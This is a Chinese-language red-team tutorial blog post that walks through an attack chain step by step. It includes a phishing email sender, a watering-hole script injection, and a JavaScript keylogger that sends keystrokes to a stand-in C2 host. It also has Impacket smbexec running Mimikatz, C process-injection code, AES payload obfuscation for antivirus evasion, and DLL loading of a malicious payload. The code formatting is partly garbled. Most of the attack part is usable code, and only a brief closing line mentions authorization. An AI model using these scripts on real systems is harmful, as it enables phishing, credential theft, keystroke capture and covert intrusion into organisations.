一、从一次真实的攻防演练说起
前段时间,一家大型电商企业爆出了一场内部攻防演练的细节。在这次演练中,红队仅用72小时就成功渗透到了内网核心数据库,获取了超过500万用户的敏感信息。整个攻击链条行云流水,从外网打点到权限提升,再到横向移动,几乎完美复现了一场真实的APT攻击。这样的事件引发了广泛关注,也让我想起了自己当年在某互联网公司做红队时的经历。
这篇文章将结合真实案例,深入讲解红队攻防演练中的一些实用技巧,重点关注工具的使用方式和一些细节上的技术处理。从信息收集到绕过检测,再到权限维持,都会有完整的步骤和代码展示。
---
二、打点的艺术:社工与水坑结合
红队实战中,如何找到初始突破点是绝对的重头戏。尤其是在面对企业级防护体系时,直接扫描漏洞的方式往往会触发告警。因此,我更倾向于通过社工攻击或水坑攻击来低调完成初始打点。
利用公开信息做定向社工
在做社工攻击前,信息收集是重中之重。我们可以通过以下几个途径收集目标员工的相关信息:
- 邮件格式:通过LinkedIn、公司官网或其他公开资源,找到目标公司员工的邮箱格式。例如
[email protected]这样的格式非常常见。 - 开发者信息:去GitHub上搜索目标公司,很多开发者的提交记录会暴露邮箱。
- OSINT工具:用工具
theHarvester快速收集公开邮箱信息。
<pre><code class="language-bash"># 使用theHarvester收集目标域名的邮箱和子域信息 theHarvester -d target.com -b google -l 500</code></pre>
收集到邮箱后,可以构造一封诱导性较强的钓鱼邮件,比如伪装成内部IT部门要求员工更新密码的通知。以下是一个简单的邮件发送脚本:
<pre><code class="language-python">import smtplib from email.mime.text import MIMEText
伪造邮件内容
def send_phishing_email(target_email): smtp_server = "smtp.example.com" sender_email = "[email protected]" # 假冒的发件人 password = "your_smtp_password"
subject = "紧急通知:密码重置" body = """ 尊敬的用户,
我们检测到您的账户可能存在风险,请立即访问以下链接重置密码: http://malicious-link.com
谢谢! IT支持团队 """ msg = MIMEText(body, 'plain', 'utf-8') msg['Subject'] = subject msg['From'] = sender_email msg['To'] = target_email
with smtplib.SMTP(smtp_server, 587) as server: server.starttls() server.login(sender_email, password) server.sendmail(sender_email, target_email, msg.as_string())
调用函数发一封邮件
send_phishing_email("[email protected]")</code></pre>
关键点:伪造邮件时需要使用与目标公司相似的域名,或者通过钓鱼页面进一步打点。
---
三、水坑攻击:在流量入口埋雷
水坑攻击的思路是:通过分析目标公司员工经常访问的第三方站点,在这些站点上埋下恶意代码。以一家金融企业为例,我们发现他们的员工经常访问某财经信息网站。于是,我用以下方式完成了水坑部署:
步骤一:攻击目标网站
- 使用
nmap扫描目标网站的服务端口:
<pre><code class="language-bash"> nmap -sC -sV finance-site.com `
- 发现其使用了一个存在RCE漏洞的老旧CMS系统(例如Joomla)。直接利用公开的exploit完成入侵。
- 在目标网站的某个静态文件中插入恶意脚本,代码如下:
</code></pre>html <script src="http://malicious-c2.com/payload.js"></script> <pre><code> ---
步骤二:制作恶意JS

恶意JS文件payload.js通过WebSocket与C2服务器通信,实现远程控制。以下是一个简单的Keylogger实现: </code></pre>javascript document.onkeypress = function(e) { var xhttp = new XMLHttpRequest(); xhttp.open("POST", "http://malicious-c2.com/log", true); xhttp.setRequestHeader("Content-Type", "application/json"); xhttp.send(JSON.stringify({ key: e.key })); }; <pre><code> ---

四、内网的风暴:横向移动与权限提升
拿到初始权限后,接下来的目标是快速横向移动,扩大攻击范围。这里简单分享几个实战技巧。
利用共享文件夹横向移动
在Windows内网中,开放的共享文件夹是横向移动的绝佳入口。以下是通过SMB协议传递Payload的方式: </code></pre>bash
使用Impacket工具的smbexec模块执行命令
smbexec.py DOMAIN/user:[email protected] -command "powershell.exe -c Invoke-Mimikatz" <pre><code> ---
Hook进程获取更高权限
在目标主机上,我们可以使用DLL注入技术将恶意代码注入到合法进程中,伪装成系统服务以规避检测。以下是一个简单的C语言注入代码: </code></pre>c
include <windows.h>
include <stdio.h>
int main() { HANDLE hProcess; LPVOID pRemoteBuffer; char payload[] = "calc.exe"; // 恶意代码,这里只是打开计算器

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid); pRemoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pRemoteBuffer, (void*)payload, sizeof(payload), NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL);
CloseHandle(hProcess); return 0; } <pre><code> 将这一注入技术与Cobalt Strike联动,可以进一步完成内网横向扩展。
---
五、绕过检测:免杀Payload的技术细节
现在,EDR和AV的检测能力已经非常强大。为了躲避检测,Payload的免杀处理是必不可少的环节。
混淆与加密
可以通过Python加密Payload的载荷,然后在目标上解密运行。以下是AES加密的示例: </code></pre>python from Crypto.Cipher import AES import base64
加密
key = b'Sixteen byte key' cipher = AES.new(key, AES.MODE_ECB) encrypted = base64.b64encode(cipher.encrypt(b'calc.exe'.ljust(16)))
解密
decrypted = cipher.decrypt(base64.b64decode(encrypted)).strip() print(decrypted) <pre><code> 将加密后的Payload存储到文件中,再通过脚本进行解密运行。
---
动态加载DLL
通过手工加载DLL绕过防御,避免静态特征检测。以下是C语言实现的动态加载DLL方法: </code></pre>c
include <windows.h>
typedef void (*PayloadFunction)();
int main() { HMODULE hLib = LoadLibrary("malicious.dll"); PayloadFunction payload = (PayloadFunction)GetProcAddress(hLib, "RunPayload"); payload(); // 执行恶意代码 FreeLibrary(hLib); return 0; } `
---
六、结束语:在攻防中成长
红队演练的价值不仅在于验证防御体系的有效性,更在于让每个参与者深入了解攻击者的思路。在实战中,工具的选择和使用技巧尤为关键。希望本文分享的技巧对你的攻防实践有所启发,当然,所有操作都需在授权范围内进行。